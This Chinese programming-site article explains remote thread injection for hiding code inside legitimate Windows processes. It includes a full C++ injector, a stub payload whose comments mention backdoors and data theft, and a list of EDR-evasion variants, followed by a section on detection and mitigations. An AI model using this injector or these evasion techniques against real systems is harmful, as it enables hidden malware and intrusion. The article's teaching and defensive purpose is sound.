首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

Windows NT/2000 進程隱藏術:遠程線程注入實現「無進程」代碼執行

     編輯:VC 教學

核心矛盾與解法:進程 vs 線程

在 NT 內核架構下,**任務管理器 (Ctrl+Alt+Del) 枚舉的是進程 (EPROCESS)**,而非線程。只要代碼以**獨立進程**形式運行,就無法逃離進程列表。但若將代碼作為**線程**注入到**合法系統進程** (如 `explorer.exe`, `svchost.exe`, `lsass.exe`) 地址空間執行,則:

  • 不創建新進程 → 任務管理器不顯示新條目。
  • 寄宿進程合法簽名、高信任度 → 繞過簡單的白名單/行為分析。
  • 共享寄宿進程 Token/權限/句柄表 → 繼承其訪問能力。

這就是**「無進程」代碼執行**的核心邏輯,也是早期 Rootkit、木馬 (如 Back Orifice 2000) 的經典隱身技術。

技術棧:跨進程記憶體操作三板斧

  1. OpenProcess(PROCESS_ALL_ACCESS, ...):獲取目標進程句柄 (需 SeDebugPrivilege / 管理員 / 同用戶)。
  2. VirtualAllocEx(hProc, ..., MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE):在目標進程分配**可執行、可讀寫**記憶體 (RWX,現代系統受 DEP/CFG 限制極大)。
  3. WriteProcessMemory(hProc, pRemoteMem, pLocalCode, size, ...):將本地代碼/數據複製到遠程分配區。
  4. CreateRemoteThread(hProc, ..., pRemoteMem, ...):在目標進程創建線程,從注入代碼入口開始執行。

完整實戰代碼 (C++, 針對 NT4/2000/XP 經典環境)

// 1. 遠程線程入口函數 (必須獨立、無運行時依賴、位置無關代碼最佳)
DWORD WINAPI RemoteThreadEntry(LPVOID lpParam) {
    // 這裡執行核心邏輯:Hook、監控、後門、數據竊取等
    // 注意:在此線程中調用 CRT/STL 極其危險 (堆/鎖/異常隔離)
    // 建議:純 Win32 API、手動映射所需 DLL、或反射式加載完整 DLL
    return 0;
}

int main(int argc, char* argv[]) {
    if (argc < 2) { printf("Usage: %s \n", argv[0]); return 1; }
    DWORD dwTargetPID = strtoul(argv[1], NULL, 10);
    
    // 2. 打開目標進程 (需 PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION)
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPID);
    if (!hProcess) { printf("OpenProcess failed: %u\n", GetLastError()); return 1; }
    
    // 3. 分配遠程記憶體 (4KB 對齊,足夠存放 Shellcode 或小型函數)
    const SIZE_T CODE_SIZE = 4096;
    LPVOID pRemoteCode = VirtualAllocEx(hProcess, NULL, CODE_SIZE, 
                                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteCode) { printf("VirtualAllocEx failed: %u\n", GetLastError()); CloseHandle(hProcess); return 1; }
    
    // 4. 寫入代碼 (此處為演示,實際需複製完整函數體,注意位置無關性)
    // 實際工程中常用「手動映射 DLL」或「反射式注入」替代裸函數複製
    if (!WriteProcessMemory(hProcess, pRemoteCode, (LPCVOID)RemoteThreadEntry, CODE_SIZE, NULL)) {
        printf("WriteProcessMemory failed: %u\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
        CloseHandle(hProcess); return 1;
    }
    
    // 5. 創建遠程線程執行
    DWORD dwThreadId = 0;
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                        (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, &dwThreadId);
    if (!hThread) {
        printf("CreateRemoteThread failed: %u\n", GetLastError());
        VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
        CloseHandle(hProcess); return 1;
    }
    
    printf("Remote thread created: TID=%u, Entry=0x%p\n", dwThreadId, pRemoteCode);
    
    // 6. 可選:等待線程結束、獲取退出碼、清理記憶體
    WaitForSingleObject(hThread, INFINITE);
    DWORD exitCode; GetExitCodeThread(hThread, &exitCode);
    printf("Thread exited with code: %u\n", exitCode);
    
    VirtualFreeEx(hProcess, pRemoteCode, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

關鍵工程難點與現代演進

挑戰經典解法 (NT/XP)現代環境 (Vista+/Win10/11) 挑戰與對策
**代碼位置相關性**函數指針直接複製,假設基址相同 (ASLR 未普及)**ASLR 強制開啟**:基址隨機。必須用 **位置無關 Shellcode** 或 **手動映射 DLL** (自行處理重定位、IAT 修復、TLS 回調)。
**DEP (NX 位)**默關閉或可關,`PAGE_EXECUTE_READWRITE` 直接可用**DEP 強制開啟**:堆/棧不可執行。`VirtualAllocEx` 必須 `PAGE_EXECUTE_READ` (寫入後 `VirtualProtectEx` 轉 RX),或用 **ROP 鏈** 繞過。
**CFG (Control Flow Guard)**不存在**CFG 保護間接調用目標**:`CreateRemoteThread` 入口必須是有效 CFG 目標 (編譯時標記)。繞過需利用未受保護模組、或禁用 CFG (需高權限)。
**ACPP / ETW / EDR 監控**無**行為檢測極敏感**:`OpenProcess(PROCESS_ALL_ACCESS)` + `VirtualAllocEx(RWX)` + `CreateRemoteThread` 是經典 IoC。現代紅隊改用:
• **線程劫持** (暫停現有線程修改 RIP/RSP)
• **APC 排隊** (`QueueUserAPC`)
• **COM 接口注入**
• **父進程欺騙** + **PPID 欺騙**
• **簽名驅動級注入**
**Session 0 隔離**服務與用戶同 Session服務在 Session 0,用戶進程在 Session 1+,**跨 Session 注入受限**,需同 Session 目標 (如 `explorer.exe`)。
**PPL (Protected Process Light)**不存在關鍵系統進程 (`Lsass`, `Csrss`, `Smss` 等) 受保護,**拒絕 `OpenProcess(PROCESS_ALL_ACCESS)`**,無法注入。

從「隱藏進程」到「防禦視角」

理解此技術**不是為了製造惡意代碼**,而是為了:

  1. EDR/HIPS 規則編寫:識別 `CreateRemoteThread`、`WriteProcessMemory`、`VirtualAllocEx(RWX)` 異常調用鏈。
  2. 記憶體取證分析:Volatility 插件掃描異常 VAD (Virtual Address Descriptor)、未關聯模組的執行區域、線程入口指向非映射映像區域。
  3. 應用防護強化:啟用 **CFG**、**CET (Shadow Stacks/IBT)**、**ACG (Arbitrary Code Guard)**、**禁用動態代碼生成** (`SetProcessMitigationPolicy`)。
  4. 合法注入場景替代**:調試器、熱補丁 (Detours/MinHook)、兼容性修補、AV 掃描器 — 均應走簽名驅動、ETW、或官方 Hook 機制 (如 `SetWindowsHookEx` 全局 Hook)。

結語

「遠程線程注入」是 Windows 攻防史上最經典的「進程隱身」技術。從 NT 4.0 的暢行無阻,到 Win11 的層層設防 (ASLR+DEP+CFG+CET+PPL+EDR),其演變史就是 **Windows 安全防禦體系建設史** 的縮影。掌握其原理、變體與檢測對抗,是安全研究者、防禦工程師、系統程式開發者的必修課。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved